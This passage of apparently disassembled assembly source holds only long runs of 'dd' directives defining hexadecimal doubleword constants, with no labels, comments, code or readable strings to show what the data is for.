		dd 355E1Ch, 0E583A866h,	43AE7B3Dh, 0FC282600h, 0F896A050h
		dd 73A92439h, 8533803Ch, 322518E2h, 0C6003AFCh,	0DC3BFCE7h
		dd 241FA8FAh, 66212Ah, 70E9AC05h, 149876B9h, 0BCD64700h
		dd 87BB0E04h, 0EBC900B7h, 6C74382Bh, 48924548h,	4B9D3908h
		dd 0F8A90C36h, 0E1033111h, 0CF38104Fh, 0CCC4B92Bh, 7D69F0h
		dd 395D6E3Fh, 46D06033h, 0F3901900h, 0E5DB6FB6h, 0BA4F3E4Ah
		dd 8226A100h, 55CEDEFEh, 443ECD26h, 0A9098087h,	8397A370h
		dd 0AFA00BEh, 0E17D8FB8h, 15E2583Dh, 0D2059CA1h, 88464E0h
		dd 0F488600Eh, 792E0F3h, 1F5B1F8h, 0BFC8DCBCh, 40D3C731h
		dd 8A214D96h, 0EA001098h, 0B0FD700Fh, 1C18BC05h, 0C76144h
		dd 0A01B59E1h, 2B3C66AEh, 69DA17FFh, 2E41E000h,	4DC86D5Ah
		dd 1375D895h, 4012441Ch, 0C2A12554h, 9E26B8CFh,	3C00C06Ch
		dd 68FA3F3Eh, 7B1216BAh, 7724402Bh, 21B00AD2h, 64AA5E2Ch
		dd 0E1E96301h, 0F450955Ch, 1FEB0E48h, 189A1088h, 0E3AF6053h
		dd 28B76204h, 3180705Dh, 9A9F20h, 6078D3CEh, 2D96E6AEh
		dd 12CB2100h, 0F97205DAh, 398B07Ah, 7887D013h, 0ADD0864Dh
		dd 1D7065B9h, 7719ED0Ch, 0A0AC04h, 0DBBBA8D1h, 0AE497148h
		dd 0A7031EE4h, 38C907FFh, 0D047CDDAh, 0DB80AD32h, 3B95E705h
		dd 0D8004B2Ah, 0B7CDA368h, 3B009778h, 1DF61B47h, 73D73262h
		dd 0E8EB58BAh, 743C8300h, 0A647D1ACh, 7C2A5700h, 0D8D258C7h
		dd 0D5E672h, 0C4143BDBh, 0AC073FBFh, 28988D00h,	0BDEAC931h
		dd 70C61DEDh, 0BF33C262h, 20C00E8Bh, 0CD12683Eh, 0C0040AFh
		dd 0A490B889h, 5F7A007Ch, 3F512F8Eh, 30673513h,	0B98220BAh
		dd 5A044045h, 5B280FC3h, 7F671552h, 0B698C072h,	0B900A9E8h
		dd 210AE1AAh, 7D5D3B56h, 0C25400FAh, 2FD85224h,	0FF58596Dh
		dd 5A5B7868h, 0E6B00C08h, 3500A0FCh, 8BE9AE40h,	5D215B3Ah
		dd 56006059h, 0A2D79475h, 0AF5BF17Ah, 5CC82005h, 37F59880h
		dd 0A6B70051h, 78EB8B4Eh, 3008F61h, 0C832E741h,	0A13CB4h
		dd 2713420Ch, 74A93791h, 868C6B00h, 6E879460h, 78BB71B5h
		dd 221600D8h, 6FD74130h, 0D9029EADh, 990BEE5Eh,	0FCD18Fh
		dd 7DCB3361h, 9B0EA14Dh, 4122C510h, 0A74CC02Ch,	9800E032h
		dd 1881975h, 7B246A10h,	873A0CF5h, 0A9B77DA4h, 0F868C110h
		dd 457E048h, 0F6DF87CFh, 203E8739h, 0DAC71D69h,	0D0F7CB00h
		dd 0B1B6D9E7h, 9A6E006Dh, 775BCE7Fh, 23095351h,	8F5C806Ch
		dd 54A2E0DCh, 0CE945Fh,	0EB1B859Ch, 236111E2h, 0DF5A7E14h
		dd 8A4D15D3h, 180505C0h, 0B440140Ah, 0D77BD8C5h, 0A97800B2h
		dd 93A6A203h, 0DB070CDAh, 20E6792Bh, 94DE023Eh,	64D4E089h
		dd 0DDBA0032h, 2FA019DAh, 2C1325FBh, 53178107h,	0FF01C9FCh
		dd 4D31470Ch, 438E40E0h, 89F460CFh, 12981A00h, 0AAB54C7Eh
		dd 0B84100B9h, 2A56E848h, 76006A45h, 184488C7h,	6A4BED9h
		dd 677FA8FDh, 782436C6h, 9680ACECh, 73EDA027h, 17D7A8Dh
		dd 60F23CEBh, 0E4421FBBh, 81FE17E6h, 0FE048DE2h, 1BC475E4h
		dd 7D2B58D0h, 61FD007Eh, 1DBF9318h, 1612D802h, 0AE0055E1h
		dd 0F430CDC8h, 353901B8h, 8A7510BCh, 84EBE463h,	0C4AD6A00h
		dd 7971C0B4h, 29A0357h,	0D63EB055h, 0A07A31E0h,	0D898AA2Ch
		dd 0D722C83h, 97ADD092h, 19070037h, 8D3212F5h, 0B37D352h
		dd 0E5872890h, 0F11EC480h, 0E07C1D1Bh, 88208FADh, 31C2DC80h
		dd 7A005F5Ch, 12F9A704h, 7FE1A6Ch, 0E1C90F3Bh, 9964CEFCh
		dd 5044D65Fh, 9452AD00h, 2DB2A098h, 86920053h, 0D12AC17h
		dd 0DA182035h, 2498FE1Bh, 1A4E0AFCh, 19015D7h, 8DEE97A6h
		dd 0F618606Bh, 8027433Ah, 98578FE2h, 5FDA71h, 9CC808E9h
		dd 0E12C3CCCh, 0FEC07B00h, 6B9E86C7h, 0EA97E0Fh, 334F4B65h
		dd 0E6D4223h, 0D05910FFh, 84002A38h, 66E70A07h,	0D1E0CDh
		dd 46DBCB51h, 0F35FABA1h, 22E43B00h, 2EDC648Bh,	71A60C23h
		dd 8EA014D9h, 46BF32Bh,	34B0E27Ah, 0ACF23E04h, 4857210h
		dd 0EA5B05A9h, 94ECE120h, 0F341117Dh, 399869D5h, 0CFF20810h
		dd 5929AE7Fh, 18302015h, 35ECD5Ah, 1852946Eh, 99365C13h
		dd 3750095Bh, 453119F0h, 344C10ACh, 150C7968h, 19361C2Fh
		dd 143E1089h, 6D505691h, 600818E1h, 8408A691h, 3EAC7C04h
		dd 9128E358h, 0D14D3344h, 9294FC8h, 99BA1C9Bh, 0EA7023E9h
		dd 0FC0C91D2h, 12C51447h, 20264C0Ch, 0F140A619h, 7E77504Bh
		dd 57392E40h, 0E0CC01D3h, 557C63D6h, 30138070h,	193E1308h
		dd 14C1D6Ch, 1772FC29h,	126D604h, 0C18A3CC3h, 0F61F0CD6h
		dd 12445E40h, 2CF1185h,	97532640h, 48441F55h, 5729F000h
		dd 0EB18A7Fh, 0AB19CA1Ah, 381119F2h, 0D2519DADh, 2C665970h
		dd 0D949C07Bh, 0FC510E2Dh, 3680F000h, 0EE99A8C1h, 690926Dh
		dd 45E9D897h, 0FD3B7148h, 5098FD27h, 0A050FA73h, 0E189434h
		dd 1D48FEF9h, 14D70756h, 1119D9F5h, 9DAF4C8Ch, 8B006108h
		dd 8D60BA4h, 0B6CE0396h, 5B951399h, 0FEDA93Dh, 0C6EA1547h
		dd 6410498Ah, 59E5C03Dh, 99E4E48h, 0F14F004Dh, 352CAB47h
		dd 9693C013h, 0E9B7ED00h, 3569F13h, 98FBD717h, 0B5B08EE7h
		dd 7A05E18Bh, 533C62BDh, 1A5EC420h, 88D828F4h, 8FF81C8Ch
		dd 80C4A651h, 99660EF7h, 2B307A1Dh, 0AA578994h,	4378EAh
		dd 89D9313h
		dd 22F488Ah, 0DD281E67h, 5501C8CAh, 8626787Fh, 80C46042h
		dd 0B6259884h, 0EB38C041h, 4F1116BFh, 20046703h, 40E6267Ah
		dd 0C1B17030h, 72454A08h, 91D0249Fh, 993DF600h,	8DF2D0E0h
		dd 0AFF306CAh, 214C0F0Eh, 0B0D8CE28h, 50FC9028h, 0B438FE2Ah
		dd 0F6AC9151h, 2414F848h, 53960500h, 0E5F0B289h, 0A07C048Eh
		dd 106B2E0Eh, 0F10A6A8h, 0FEEDAAE4h, 50999A01h,	2238222Ch
		dd 7F90FA8Eh, 0B8785243h, 329410C4h, 90F32124h,	54FB005Fh
		dd 2E16E019h, 1902697h,	5CA49B4Bh, 0F10FC87Dh, 1A035F03h
		dd 1E9A1C95h, 28F69458h, 838190A4h, 55D000F4h, 0F117B596h
		dd 9C1E90D7h, 8039744h,	804EE9h, 8F1955C8h, 0EC1DA017h
		dd 72EA6002h, 49D397B3h, 0B117B850h, 242B3298h,	90A03DD8h
		dd 268017A8h, 0B84454CEh, 2F31C045h, 0A06B4796h, 0D0920D71h
		dd 9B13D880h, 14D6263Ah, 0A18C358Dh, 52009584h,	6FB7127h
		dd 300C90E1h, 0EA81E601h, 114817BFh, 38D92418h,	320C302Bh
		dd 0A0502921h, 285C1488h, 414C9A0Eh, 0D285E538h, 0F1E36086h
		dd 0A0290B61h, 0B140543Fh, 0F0FB17DEh, 4A260393h, 16381C98h
		dd 0D9C04073h, 17143E8Eh, 0D2101AECh, 0AC0CB1B7h, 0ACE8FC29h
		dd 3013C680h, 26391472h, 8890AD4Dh, 5822A482h, 0F5C3470Fh
		dd 2079023h, 1B263216h,	0FBFEF083h, 97E56F88h, 805EC631h
		dd 20B04104h, 7F8E8AB0h, 25E50109h, 208C0F77h, 38AD3EFCh
		dd 7879650Fh, 9794401Ch, 92138841h, 3F34A184h, 86A2E020h
		dd 62324F40h, 0BD7BB172h, 72525C61h, 9AF9002Ch,	867F11Eh
		dd 17C6009Fh, 0D94B2413h, 0C8E9985Ch, 1248F91Bh, 32E4220Ch
		dd 1E103D4Eh, 98742620h, 4A1D0C9Ch, 1381EBD2h, 0AB08EC78h
		dd 8315018Fh, 0D1667FCh, 38CE100Ch, 3D8B78FDh, 0D1A6303Eh
		dd 36A31248h, 0DA0C18C8h, 10A2CE9Ch, 5B420055h,	80109752h
		dd 0AA506F8Eh, 98A85C8Ch, 130F6128h, 42F22ED7h,	64355BA0h
		dd 36990068h, 0AF87132h, 14008912h, 0BC878A98h,	0D1ECEh
		dd 0AB1ADBF3h, 0BAC5AF7h, 446B7B00h, 0D108AA92h, 0CBAF0F29h
		dd 16A07F03h, 6B56369Ah, 0F8C25D26h, 8DDBB784h,	86087CF8h
		dd 0AE08E965h, 4A928031h, 45B7488Dh, 28C8617Eh,	0DBB542AAh
		dd 0D7211624h, 0AC1E1364h, 48DC7144h, 0E60541AAh, 79E2010Ah
		dd 11DA9B11h, 5210494Eh, 0F6800E74h, 300C8166h,	4903C521h
		dd 0B74FA1C9h, 0F0E59B27h, 0B642469h, 3495B931h, 0E0FDD804h
		dd 4006D5Ch, 40085807h,	478B87h, 0D1E4A722h, 6BADED91h
		dd 0F24BA807h, 0E0F9C6CBh, 209944Ch, 0CC784075h, 0F1807ABEh
		dd 7086B390h, 17B26003h, 0B8422CBDh, 5E2DF0FFh,	75F8B5h
		dd 5B980DE6h, 496846h, 0F53DB839h, 8F5A8277h, 0F607E272h
		dd 0BBE7610Ch, 495B0F10h, 46F412B9h, 63BFE840h,	0F0761238h
		dd 9688E8h, 0B5A04A2Fh,	3632DCA1h, 0D3001CEEh, 0F8AA8BCAh
		dd 0E43E4Dh, 0BBBAD7A9h, 0EBA840CBh, 0E10042F8h, 65F9BCEAh
		dd 564DE0h, 0D180AA19h,	0B9F18E4Bh, 0B5C7A30Eh,	6088EF12h
		dd 5C080CA6h, 0BFB71EEEh, 2B9F8257h, 0F2604E19h, 0E972B960h
		dd 96A9031Ch, 5E2569C7h, 248393A4h, 0B595B0C4h,	5A211E49h
		dd 34E040D2h, 89BF27D5h, 8D0F1A71h, 203D74D9h, 0B017C1B7h
		dd 0D326000Ah, 0BD484D91h, 0B800305Fh, 9363194h, 3F54AD0Ch
		dd 74974962h, 0A470C8B7h, 791A9E00h, 0DA2FC045h, 0F65A00F0h
		dd 802C85B3h, 0BE013F9Ch, 0C878A22Dh, 0CE60CBC9h, 14E54FB7h
		dd 21017828h, 2BFBBB43h, 1086C6Eh, 879BD584h, 12F9CB35h
		dd 169C0h, 5A040F4Ch, 470C3C9Dh, 0A3261800h, 91228F66h
		dd 0A9BD05ACh, 203B74h,	776CDAC9h, 250033E6h, 0EB608513h
		dd 26ACA1F0h, 3344AEh, 0A4F647ECh, 787D5AD6h, 0C96F0200h
		dd 0E0A6B84Bh, 9CEA00CDh, 6D8BDF2Bh, 0B404E1E3h, 4FB2FF28h
		dd 7D0D4B0h, 0B3D5143Bh, 0C05FE0C4h, 49B8F2C7h,	452F5804h
		dd 9680736Fh, 0BE12664Bh, 20F0088h, 0F701C2D3h,	0AB03B0BEh
		dd 2756BCh, 2D9CD21h, 5821E25Fh, 55619D1Ch, 0A1058007h
		dd 0CDE460FFh, 9A42AADEh, 0F68E00BCh, 0FB8663A9h, 0FC48F43Ch
		dd 26B070B0h, 1E69A201h, 3E720599h, 0CC94AC40h,	0B81200CEh
		dd 3C890839h, 83006E30h, 93EF7CDCh, 723A8BBCh, 4D5C0071h
		dd 57749AE8h, 31004619h, 4CACA456h, 1FD8CBD2h, 0E40470Bh
		dd 0B0A10732h, 0E043DBCCh, 8F90C937h, 5229FD00h, 0B44B5AD7h
		dd 80BF6064h, 0EB8D5E6h, 7C0D48h, 0E4BD49FFh, 3B3EEBh
		dd 4A330CA3h, 395E2288h, 97DA8D00h, 4C6B761h, 8E480082h
		dd 0EE1E0CD3h, 0DB00165Bh, 0C4D8A7F0h, 90382B18h, 13861DECh
		dd 6CF700DEh, 49DD98E5h, 0EEF86801h, 73AB93D0h,	8263CCh
		dd 0FFA95BBEh, 52EC5507h, 30B2782Eh, 386F3BB9h,	9D3D873Eh
		dd 0D200E062h, 7FDF445Ah, 35DB855h, 0EA878660h,	7AF0CD03h
		dd 0CE003983h, 0A56C770Bh, 597D1Ch, 0FFB612AEh,	72D8DC6Eh
		dd 117E0A00h, 0F476433Bh, 470D0BBAh, 6680737Dh,	131BEEF9h
		dd 0E0CC100h, 0B95A6961h, 7920065h, 1D5C3DDEh, 1400B54Ch
		dd 0B0BBDF42h, 0B61611F8h, 0A91450D8h, 9FC13000h, 5163D031h
		dd 0E82C9241h, 9173016Dh, 0DEB3480h, 0A870E257h, 165F3B00h
		dd 1D4D8170h, 621E3ADFh, 3F86B100h, 0BCD41C6h, 0D2C72000h
		dd 0D5053A0Dh, 1B13009Eh, 411268A6h, 0A70216B6h, 0CF205D45h
		dd 2BF480FBh, 0BD51A0h,	0B4619FDCh, 1D2F47A4h, 40D60427h
		dd 77F3DB1Ch, 25A900BEh, 0AB7B1B0Ah, 3E012E29h,	0EE05AABFh
		dd 0CFCC0482h, 6680165h, 4C208701h, 0CEE88350h,	8077F6B2h
		dd 69BC6Bh, 0F3EFBAC8h,	0A38E4902h, 82BDA700h, 0CC8180DAh
		dd 7F7617h, 6711FC27h, 0E674AA77h, 8007DE3Eh, 0B5E7FF47h
		dd 0F06A0Dh, 0D69AFB85h, 3A2DA77Ah, 7FED6E00h, 62E72968h
		dd 1B6B00CBh, 0BE0346FAh, 0D303DFB5h, 0A466DA9Ch, 80EEECA1h
		dd 0FC5C4B64h, 36F2E600h, 8DFB16A5h, 0D7C41273h, 559800D9h
		dd 0E6A1125Ah, 4A9C7A00h, 7E450D53h, 25E03AB1h,	6EF672h
		dd 1D15ED2h, 68C884D3h,	15058207h, 0D8E07141h, 0F0168D54h
		dd 0A77E0087h, 0D7BC762h, 6EB0E76Bh, 49F6FB0Fh,	0AAD8205Ch
		dd 3E0F5A72h, 11005E61h, 37A0AC03h, 9C034666h, 20D3826Dh
		dd 0CAAE80BBh, 9B030075h, 0DD152FB1h, 10084E7h,	0E0D89E11h
		dd 0D3C345h, 0D2C97B26h, 27666853h, 7F5E4C05h, 0CD004DAEh
		dd 489CBA3Fh, 0E5421FF0h, 461E00CBh, 730BAAF4h,	81333600h
		dd 34A335BEh, 60E51E25h, 2BE04E01h, 0D623BF80h,	0DF016539h
		dd 687BA48Ch, 9AC8A031h, 4664005Ch, 679720B9h, 4500F7BAh
		dd 76C55157h, 793DFC2h,	2011B048h, 0AAE2C4F4h, 0BAAA0980h
		dd 5D300096h, 95353287h, 0EF02B9F0h, 1A8131E6h,	6F9B80F9h
		dd 0E89ABAh, 776436DAh,	0AE32BDC5h, 4FCD3C00h, 6743B0D7h
		dd 0A89500E4h, 0A4ECE399h, 0A628B2F3h, 0EB00A09Dh, 50FB9012h
		dd 0E7C587h, 71484F56h,	0E44DB80Eh, 77FE6206h, 0D06095h
		dd 0E830DA70h, 0FD9426A4h, 1E095F00h, 0D619403Dh, 8FA20068h
		dd 0B2FB98A7h, 2A03F4AEh, 5F21BB47h, 2FCAE880h,	0FFE80FBCh
		dd 9500D4A9h, 3D611C9Dh, 2C09B100h, 2996CAA0h, 0F8AFE007h
		dd 24EEB0A3h, 286B592Fh, 1CDE00ADh, 10AC1874h, 0A003A2A1h
		dd 53DAE511h, 4048CAF2h, 8BD56Dh, 20BD2F65h, 0AF59008h
		dd 80B5BA3Eh, 0D50333C0h, 2CF69CF8h, 7B35BCAh, 0B02EA9D1h
		dd 7829BA6Bh, 4C19B800h
		dd 9CF6A4AFh, 0B9C500EEh, 966159ADh, 0EB010B9Fh, 1BC9BF66h
		dd 0E630DEB3h, 0FFEC07B0h, 203F79C0h, 9F39542Fh, 223FB8FEh
		dd 7BABA26h, 37FB6B43h,	33C6A170h, 25BC1F09h, 1F3FF92Bh
		dd 403C799Ch, 4BDAACEBh, 60073DDh, 9991770h, 934FC1h, 0C0E99C86h
		dd 74C65F83h, 0CFA5E82Eh, 23E3AA00h, 0D58FA1h, 0DCF16319h
		dd 7D6EEE56h, 2F071C74h, 0E0F4BDF7h, 27CDEC90h,	0E8E10058h
		dd 0BBD680D5h, 0E500FC89h, 656E951Dh, 2B9B0B5h,	0FEE7C388h
		dd 8C80C032h, 0CD64FA85h, 19062900h, 0B5822BF5h, 1FBE0991h
		dd 0F7E69Ah, 1785E57Bh,	0A2CB0088h, 0CE820B7Fh,	1900DD24h
		dd 0E841A520h, 0FE9D803Dh, 7193026Dh, 0CD3A7805h, 924F05E0h
		dd 0CA0E607Dh, 0C08D4C02h, 1CE0E8F8h, 911A0079h, 28E98719h
		dd 0D87B52FDh, 0A8B7D00Bh, 275900EEh, 0F8FE81h,	0CE359ECFh
		dd 1508A477h, 2B2E6400h, 0A38F467Bh, 0C6C8A005h, 0F2753A62h
		dd 0FCA87972h, 3E330090h, 0B03A077Bh, 8B8ED98h,	0B51C4700h
		dd 0B926242Fh, 0FBA50022h, 778EE0E6h, 0E70123FEh, 0AFD27F9Ah
		dd 1DF4BB2Dh, 0FA900709h, 0B33476A7h, 109067C6h, 3A065325h
		dd 2F6D6302h, 0D73D1E28h, 0CE4ACh, 7F965A75h, 78FC853Eh
		dd 5E4BC700h, 0DABE23E4h, 0A1770098h, 34ED67B5h, 0FC0F8235h
		dd 2E9B6F84h, 5992219Dh, 5FDC396Eh, 1589003Ah, 463B98FBh
		dd 610A86DCh, 0E0D4873Fh, 0F140D51Eh, 8910C99Dh, 92790F80h
		dd 3DA055D6h, 0AFED0C0Dh, 0AD2F60Eh, 2A736065h,	226242h
		dd 168AA345h, 0E584DD8Dh, 0CFC32403h, 0CC823E49h, 0B8EF6C80h
		dd 975D309Bh, 21C68868h, 631F5CE4h, 0C89CA3FEh,	0C42C8280h
		dd 0B9E548h, 0C79D2533h, 0A4FC9AFFh, 7E5C3A76h,	0DC9624EEh
		dd 3122DB00h, 0E0C3DA3Bh, 8D770Ah, 0AA1F1020h, 26A70D15h
		dd 30BCE100h, 0A692B155h, 9BB8EFh, 657ADB7Fh, 0E0FFDF87h
		dd 0A2A8E50Eh, 0E410E097h, 9D9482h, 2A605CB5h, 0E020A95Eh
		dd 4E728100h, 0ACA0928Fh, 596C006Eh, 5FAF48B9h,	2C3CBEE6h
		dd 0DAD8D446h, 251B000h, 0E2FC8A42h, 47E600E4h,	0ED58575Fh
		dd 364C7F0Ah, 0BA6A0758h, 3DC09623h, 24A5A0BEh,	0A8DFABh
		dd 1B7F0C0Eh, 1F0EC281h, 9821D4h, 26DA93Bh, 50BA007Ah
		dd 0B59FAAF2h, 7300134Ah, 0CE1A776Eh, 0EA362631h, 0B4920009h
		dd 7FED79Dh, 5D4C54C7h,	0DE0E007Ch, 2FD4E2CDh, 375E6C6h
		dd 0AB1F294Fh, 77D8DD14h, 54008EF7h, 0CD0227A4h, 3D0124E4h
		dd 0A681137Ch, 0ACEC9AF4h, 0C951E0C7h, 0AA9E9400h, 2042D069h
		dd 0CDF47Fh, 62D7E512h,	0DB01B05Fh, 83908150h, 0B831F800h
		dd 1B79749Ch, 0C38500C5h, 4C75E033h, 6409872Fh,	0A36CF9h
		dd 6F2A417h, 701000C7h,	9250850Bh, 790057ECh, 0E07CFB39h
		dd 74FFA688h, 0AF650753h, 91441F3Ah, 8096469Fh,	74B7B238h
		dd 0C095FB64h, 1417D910h, 7BF8E5CBh, 0B2997509h, 81440EC6h
		dd 1A9FD2ACh, 6CBC006Fh, 402E6E4Ch, 0FD81B400h,	0D03973E1h
		dd 1133F75h, 44568700h,	49700C64h, 3432B21Ch, 0D399A341h
		dd 64603D68h, 3DA1905Eh, 22017AE2h, 1E4B3A8Fh, 0AE342004h
		dd 6DECD000h, 2150F8BEh, 79CB7E47h, 0C7CA001Dh,	274465BFh
		dd 0A604BDEBh, 0D6FFDB4Bh, 5769890h, 32170094h,	0B9197F92h
		dd 0F4005910h, 3493C7E5h, 1F6A873Ah, 0EA6E03h, 42B2A25Bh
		dd 3F00A751h, 880CD60Fh, 43AF0C9h, 4C7DF357h, 0E09387E7h
		dd 0C383A225h, 38D36B16h, 67863C40h, 449F134h, 54BDA503h
		dd 2E00EBFFh, 7A074D3Eh, 921B3818h, 51D81000h, 349B30D4h
		dd 9EA7F213h, 0E15CF40Eh, 15EAF4B2h, 0E8D4DEC5h, 76C9878h
		dd 3059AB1Ch, 6E2708Fh,	0BF019AFDh, 68368272h, 0A0DB2C9Ch
		dd 1EB64A4Bh, 8F60CE6Eh, 58B82928h, 0BE07E4D8h,	0E0328D18h
		dd 0E98A1741h, 19876DF0h, 293D4990h, 749AFCACh,	91A7F600h
		dd 19213A62h, 55280017h, 0EB3F258Ah, 7316F882h,	0A0005196h
		dd 0C46339ACh, 679A0741h, 7FD12D5Ah, 40CCDE7Ch,	7E104D99h
		dd 0EC001918h, 0CDC2EF6Ah, 770223h, 51334E2Ah, 8214AD07h
		dd 0DC586704h, 0F2C003BEh, 21CEC71h, 9194121h, 7860FC28h
		dd 0E700997Bh, 0D33D8C95h, 26AB90A5h, 770085BDh, 0D25F90h
		dd 1755EBCh, 0B000BCCBh, 84626DA0h, 15FB66Eh, 55C0A327h
		dd 0F4397F9Eh, 0DD0930FCh, 20186B5Eh, 86137640h, 0E0AA0095h
		dd 9AFEFFE9h, 401F75CCh, 28BDEC04h, 7A00B88Fh, 37C58D45h
		dd 1F6644Dh, 0EF4AA2A9h, 2076D0DAh, 95068ACCh, 740E2731h
		dd 3D47510h, 0FA796292h, 0CC80DC76h, 706008C3h,	5686E631h
		dd 0BF90006Fh, 59805CF0h, 0D74E0A6Dh, 1C88F7B0h, 75E75C4h
		dd 17DD8F01h, 0C3CC55B2h, 0F803B754h, 5472A7FDh, 69C2008Dh
		dd 20844FACh, 62240A67h, 5F00508Bh, 3EEFCB04h, 1DAE8D6h
		dd 6FFF53D7h, 200FE365h, 2A0952BCh, 808C1FB3h, 89FDEA9Bh
		dd 2BD601B8h, 0E018ADC1h, 9A46F8CFh, 60699616h,	82714h
		dd 5389B67Ch, 16BCCC24h, 7DA1E8Dh, 209BDF36h, 0C4143099h
		dd 7A66E200h, 0B0189F27h, 2161C13h, 2FD6C0E8h, 0D4BEF8F4h
		dd 0F070898h, 0ABE222D8h, 56E02549h, 1BF30BC0h,	0B40B0032h
		dd 137E24CDh, 0A90059C4h, 19986861h, 3A744B70h,	950164F4h
		dd 21A8424h, 39C2F415h,	0C41E4702h, 416779E3h, 5C30BE92h
		dd 6FB000D7h, 9124EDF9h, 0CC0961FDh, 208505E8h,	65921F00h
		dd 63190060h, 0FDABDEE6h, 0A8A16F11h, 0F786303Fh, 33FB8900h
		dd 7EFEB73Ah, 5EF80E95h, 176B67h, 7DB91E64h, 0CCFB2D60h
		dd 6AFA833Bh, 6400A3B8h, 9C1C0918h, 467261h, 0CC312CB4h
		dd 0E3C10634h, 0DC40F86Eh, 0DF402780h, 2A55BD8h, 36CACF3Ah
		dd 0E8E2781Bh, 0CC1D8C40h, 7F67210Fh, 4FDC2193h, 81F4702Ah
		dd 3987F05h, 325F3E30h,	0F8A172BBh, 796A70DCh, 377A5901h
		dd 0ACA82C22h, 0BD5000E3h, 567076B3h, 41036145h, 13923DFFh
		dd 7C5FD8ABh, 0A40F005Eh, 0BBE585BFh, 0D6063238h, 1B998B8Dh
		dd 699058h, 9755DF0Ah, 8E46F622h, 6A26E000h, 0A65887C9h
		dd 0D612009Dh, 5F59B2B6h, 4900010Fh, 0E3519A0h,	0D1059Ch
		dd 0F6A4B416h, 0F175666Eh, 8CAA1400h, 7C9D9F49h, 3F8600D2h
		dd 1EDF85B2h, 0DAB8FA15h, 5B6A7101h, 6EA9A164h,	4C6892E4h
		dd 6B003CC4h, 0E2E56F12h, 4C3DB1D2h, 659880A6h,	0AE091D8Dh
		dd 0EE9007Dh, 63A5D5E6h, 3B00B939h, 1472305Dh, 77369A8Dh
		dd 0C7C000A9h, 9B648985h, 0B93CA313h, 0B8712C5Eh, 0D2290580h
		dd 2F7E142h, 340A10AFh,	10A48665h, 0F4D9001Ch, 0C792CAFh
		dd 0D3FB33F7h, 71382DA0h, 220380FAh, 361858DAh,	86CC00F0h
		dd 9630C620h, 0F7743952h, 54140400h, 4D4FE7ACh,	87370082h
		dd 43E4C761h, 0F602C692h, 5A14A048h, 0C0B0C8CBh, 1F2C799Eh
		dd 419ADDB8h, 0B144E3F7h, 4E2180D7h, 48F2E5DAh,	0C34628D8h
		dd 38401D0Ch, 43A031C6h, 8CD880C1h, 985437CBh, 467283h
		dd 0BB9BC23Eh, 0D4DAC931h, 231A800Fh, 0CA003D16h, 0C585D0B4h
		dd 0C8790099h, 5E6FB3DBh, 0FD0E6D83h, 4756B870h, 0B50C661h
		dd 0F6AAABh, 0FBCA7F58h, 3EB24277h, 0FFF829B8h,	0BE66F400h
		dd 0FE3A23E8h, 0B32E0152h, 10C14A79h, 80B1B8B1h, 0A7D20D3Bh
		dd 584CD33h, 3A9636A3h,	0A011C051h, 463BEE41h, 0F29C81F8h
		dd 0ABC06D82h, 0A0E5E180h, 0DE48F196h, 0A60F58h, 2D5608F8h
		dd 66BBBDh, 0E0FB902Eh,	0FAC3D2DFh, 2C8349h, 94B9E8BAh
		dd 79F0BF9h
		dd 9703C717h, 213446F4h, 99843F03h, 0CF40A353h,	0EB1A80EEh
		dd 18EA3456h, 28A0CDE5h, 100C582Fh, 2082F369h, 0B98A403Ah
		dd 8C8DA1C6h, 0ADBC0051h, 949B909Eh, 0D9005436h, 9E72A9Fh
		dd 14B7C564h, 9D66D512h, 0C0B0FE37h, 0C1D43544h, 0C70C41F8h
		dd 59DB2BF2h, 0C5F8000Bh, 0D31F53B2h, 7665ED4h,	21A308h
		dd 0E9C40AF0h, 0E5E37861h, 9A8FEB00h, 6F9B6BA9h, 0B04960F8h
		dd 548E964Eh, 2E07FE98h, 0E2710F98h, 4C350560h,	50F50028h
		dd 7D45375Eh, 0A771D0C7h, 0E7243Ah, 8D833DAEh, 87EDB4h
		dd 0D794C8FEh, 9FB0DD4Ah, 0A402CE00h, 0AEFAF2B7h, 43F71C78h
		dd 0D2B64507h, 19C30010h, 0D97CA84Fh, 0F805841Ch, 0B6430300h
		dd 0FCA6EEh, 0F3913924h, 3D7753CEh, 0C3741A00h,	7DAF413Ch
		dd 99281F8Dh, 5D70C075h, 95FACDC5h, 0BD610401h,	0DF8EED38h
		dd 60F692FFh, 16AF7F95h, 33BC4Ch, 23AE74C6h, 4400E68Eh
		dd 0B6151480h, 0FFC3784h, 0CDDCFFC4h, 5A12BD80h, 0B10B8C9Dh
		dd 0A33993h, 1DD51739h,	692C1EDCh, 27BB41ADh, 20FD30FAh
		dd 0D20667D4h, 0C7715FAEh, 0B7F848h, 68BEFA07h,	4F83FEE2h
		dd 0C89A3507h, 7AC1119Bh, 40800B7Bh, 124067B7h,	0D90680E3h
		dd 0AE8C9F74h, 21206308h, 0E998D8B9h, 0EE006B0Dh, 0E1BC851h
		dd 1E9BA0B4h, 9D6DCF47h, 98FCD8DCh, 0F50C07F9h,	1049A8A9h
		dd 0B1461D18h, 0D4B3C084h, 0F2DE7493h, 3A8A8700h, 6555D34Fh
		dd 3F1A74C8h, 390003A3h, 0F72FFDE5h, 76004D25h,	7C5062B4h
		dd 2C133EEh, 0F8F34E4h,	540A238h, 0B2000345h, 0A6B479F0h
		dd 0CF223Ch, 0D11EC888h, 8A7C54B0h, 0D2ECDC00h,	7ADD32FAh
		dd 8F740EF1h, 0D3C194B2h, 60389018h, 3B1D4158h,	0A5400309h
		dd 0F0D92EA8h, 0EEF80054h, 802F10B6h, 4C7409A2h, 0D61E1F79h
		dd 0D3039C02h, 0F150313Fh, 0CBE0993Ch, 0A0AD0075h, 4C1CAA16h
		dd 3B192D49h, 908430Eh,	6B80BA0Bh, 69F6F2ADh, 184BFD30h
		dd 0A8EFB5h, 0B0922ADEh, 0D16440EEh, 0A6C23800h, 178169F3h
		dd 0B49A0C14h, 4C29AE47h, 22463520h, 7542CCF3h,	219CAA11h
		dd 0C7E40828h, 82843990h, 3F044493h, 48F48444h,	27DC442Dh
		dd 16444604h, 0F3144F5h, 44A48D44h, 6844415Ch, 0E2544F7h
		dd 44AACB44h, 73444878h, 28E94ADCh, 98CC2F08h, 0A0EC2954h
		dd 9D675700h, 9936C71Eh, 0BB120FB1h, 5AE05DD7h,	9A890176h
		dd 7987CB00h, 0AAC532FDh, 6EE20046h, 0B7CF33F9h, 9006665h
		dd 0BF8EA052h, 134DAh, 0F489F294h, 5A548D27h, 3CDD63Eh
		dd 0CE5DAF3Ch, 10EE80BBh, 0C37C0024h, 0FDA3B80Ah, 0F500EFAEh
		dd 5FB08258h, 6DCC1ACh,	42ADF17Fh, 8EE07823h, 9C662E00h
